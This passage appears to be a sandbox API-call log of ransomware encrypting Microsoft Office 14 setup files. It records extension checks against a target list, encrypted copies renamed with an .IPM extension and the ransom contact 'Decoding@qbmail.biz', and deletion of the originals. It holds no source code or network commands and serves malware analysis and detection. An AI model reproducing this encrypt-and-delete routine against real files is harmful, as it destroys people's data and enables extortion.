[0085.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0085.363] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0085.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0085.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0085.364] lstrlenW (lpString=".doc") returned 4 [0085.364] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.364] lstrlenW (lpString=".docx") returned 5 [0085.364] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0085.364] lstrlenW (lpString=".pdf") returned 4 [0085.364] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.364] lstrlenW (lpString=".xls") returned 4 [0085.364] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.364] lstrlenW (lpString=".xlsx") returned 5 [0085.364] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0085.364] lstrlenW (lpString=".ppt") returned 4 [0085.364] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0085.364] lstrlenW (lpString=".zip") returned 4 [0085.364] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.364] lstrlenW (lpString=".rar") returned 4 [0085.364] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.365] lstrlenW (lpString=".bz2") returned 4 [0085.365] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.365] lstrlenW (lpString=".7z") returned 3 [0085.365] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0085.365] lstrlenW (lpString=".dbf") returned 4 [0085.365] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0085.365] lstrlenW (lpString=".1cd") returned 4 [0085.365] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0085.365] lstrlenW (lpString=".jpg") returned 4 [0085.365] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0085.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0085.366] lstrlenW (lpString=".doc") returned 4 [0085.366] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.366] lstrlenW (lpString=".docx") returned 5 [0085.366] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0085.366] lstrlenW (lpString=".pdf") returned 4 [0085.366] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.366] lstrlenW (lpString=".xls") returned 4 [0085.366] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.366] lstrlenW (lpString=".xlsx") returned 5 [0085.366] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0085.366] lstrlenW (lpString=".ppt") returned 4 [0085.366] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0085.366] lstrlenW (lpString=".zip") returned 4 [0085.366] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.366] lstrlenW (lpString=".rar") returned 4 [0085.366] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.366] lstrlenW (lpString=".bz2") returned 4 [0085.366] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.366] lstrlenW (lpString=".7z") returned 3 [0085.366] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0085.367] lstrlenW (lpString=".dbf") returned 4 [0085.367] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0085.367] lstrlenW (lpString=".1cd") returned 4 [0085.367] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0085.367] lstrlenW (lpString=".jpg") returned 4 [0085.367] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.367] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0085.367] lstrlenW (lpString="SETUP.XML") returned 9 [0085.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0086.349] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1872) returned 1 [0086.349] CloseHandle (hObject=0x204) returned 1 [0086.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0086.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0086.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0086.351] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.351] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0086.351] GetLastError () returned 0x0 [0086.351] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x750, lpOverlapped=0x0) returned 1 [0086.368] WriteFile (in: hFile=0x1f8, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x760, lpOverlapped=0x0) returned 1 [0086.370] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0086.370] WriteFile (in: hFile=0x1f8, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0086.370] SetEndOfFile (hFile=0x1f8) returned 1 [0086.370] CloseHandle (hObject=0x1f8) returned 1 [0086.371] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.371] SetEndOfFile (hFile=0x204) returned 1 [0086.372] CloseHandle (hObject=0x204) returned 1 [0086.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0086.373] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0086.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0086.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0086.373] lstrlenW (lpString=".doc") returned 4 [0086.373] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.373] lstrlenW (lpString=".docx") returned 5 [0086.373] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0086.373] lstrlenW (lpString=".pdf") returned 4 [0086.373] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.373] lstrlenW (lpString=".xls") returned 4 [0086.373] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.373] lstrlenW (lpString=".xlsx") returned 5 [0086.373] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0086.373] lstrlenW (lpString=".ppt") returned 4 [0086.374] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0086.374] lstrlenW (lpString=".zip") returned 4 [0086.374] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.374] lstrlenW (lpString=".rar") returned 4 [0086.374] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.374] lstrlenW (lpString=".bz2") returned 4 [0086.374] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.374] lstrlenW (lpString=".7z") returned 3 [0086.374] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0086.374] lstrlenW (lpString=".dbf") returned 4 [0086.374] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0086.374] lstrlenW (lpString=".1cd") returned 4 [0086.374] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0086.374] lstrlenW (lpString=".jpg") returned 4 [0086.374] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0086.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0086.374] lstrlenW (lpString=".doc") returned 4 [0086.374] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.374] lstrlenW (lpString=".docx") returned 5 [0086.374] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0086.374] lstrlenW (lpString=".pdf") returned 4 [0086.374] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.374] lstrlenW (lpString=".xls") returned 4 [0086.374] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.374] lstrlenW (lpString=".xlsx") returned 5 [0086.374] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0086.375] lstrlenW (lpString=".ppt") returned 4 [0086.375] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0086.375] lstrlenW (lpString=".zip") returned 4 [0086.375] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.375] lstrlenW (lpString=".rar") returned 4 [0086.375] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.375] lstrlenW (lpString=".bz2") returned 4 [0086.375] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.375] lstrlenW (lpString=".7z") returned 3 [0086.375] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0086.375] lstrlenW (lpString=".dbf") returned 4 [0086.375] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0086.375] lstrlenW (lpString=".1cd") returned 4 [0086.375] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0086.375] lstrlenW (lpString=".jpg") returned 4 [0086.375] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.375] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0086.375] lstrlenW (lpString="SETUP.XML") returned 9 [0086.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0086.376] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=31094) returned 1 [0086.376] CloseHandle (hObject=0x204) returned 1 [0086.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0086.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0086.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0086.376] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.376] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0086.396] GetLastError () returned 0x0 [0086.396] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x7976, lpOverlapped=0x0) returned 1 [0086.404] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0086.406] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0086.406] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0086.406] SetEndOfFile (hFile=0x1d4) returned 1 [0086.406] CloseHandle (hObject=0x1d4) returned 1 [0086.408] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.408] SetEndOfFile (hFile=0x204) returned 1 [0086.410] CloseHandle (hObject=0x204) returned 1 [0086.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0086.411] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0086.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0086.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0086.411] lstrlenW (lpString=".doc") returned 4 [0086.411] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.411] lstrlenW (lpString=".docx") returned 5 [0086.411] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0086.411] lstrlenW (lpString=".pdf") returned 4 [0086.411] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.411] lstrlenW (lpString=".xls") returned 4 [0086.412] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.412] lstrlenW (lpString=".xlsx") returned 5 [0086.412] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0086.412] lstrlenW (lpString=".ppt") returned 4 [0086.412] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0086.412] lstrlenW (lpString=".zip") returned 4 [0086.412] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.412] lstrlenW (lpString=".rar") returned 4 [0086.412] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.412] lstrlenW (lpString=".bz2") returned 4 [0086.412] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.412] lstrlenW (lpString=".7z") returned 3 [0086.412] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0086.412] lstrlenW (lpString=".dbf") returned 4 [0086.412] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0086.413] lstrlenW (lpString=".1cd") returned 4 [0086.413] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0086.413] lstrlenW (lpString=".jpg") returned 4 [0086.413] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0086.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0086.413] lstrlenW (lpString=".doc") returned 4 [0086.413] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.413] lstrlenW (lpString=".docx") returned 5 [0086.413] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0086.413] lstrlenW (lpString=".pdf") returned 4 [0086.413] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.413] lstrlenW (lpString=".xls") returned 4 [0086.413] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.413] lstrlenW (lpString=".xlsx") returned 5 [0086.413] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0086.414] lstrlenW (lpString=".ppt") returned 4 [0086.414] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0086.414] lstrlenW (lpString=".zip") returned 4 [0086.414] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.414] lstrlenW (lpString=".rar") returned 4 [0086.414] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.414] lstrlenW (lpString=".bz2") returned 4 [0086.414] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.414] lstrlenW (lpString=".7z") returned 3 [0086.414] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0086.414] lstrlenW (lpString=".dbf") returned 4 [0086.414] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0086.414] lstrlenW (lpString=".1cd") returned 4 [0086.414] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0086.414] lstrlenW (lpString=".jpg") returned 4 [0086.415] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.415] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0086.415] lstrlenW (lpString="SETUP.XML") returned 9 [0086.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0086.418] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1608) returned 1 [0086.418] CloseHandle (hObject=0x204) returned 1 [0086.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0086.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0086.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0086.419] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.419] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0086.419] GetLastError () returned 0x0 [0086.419] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x648, lpOverlapped=0x0) returned 1 [0086.743] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2c6fc9c, 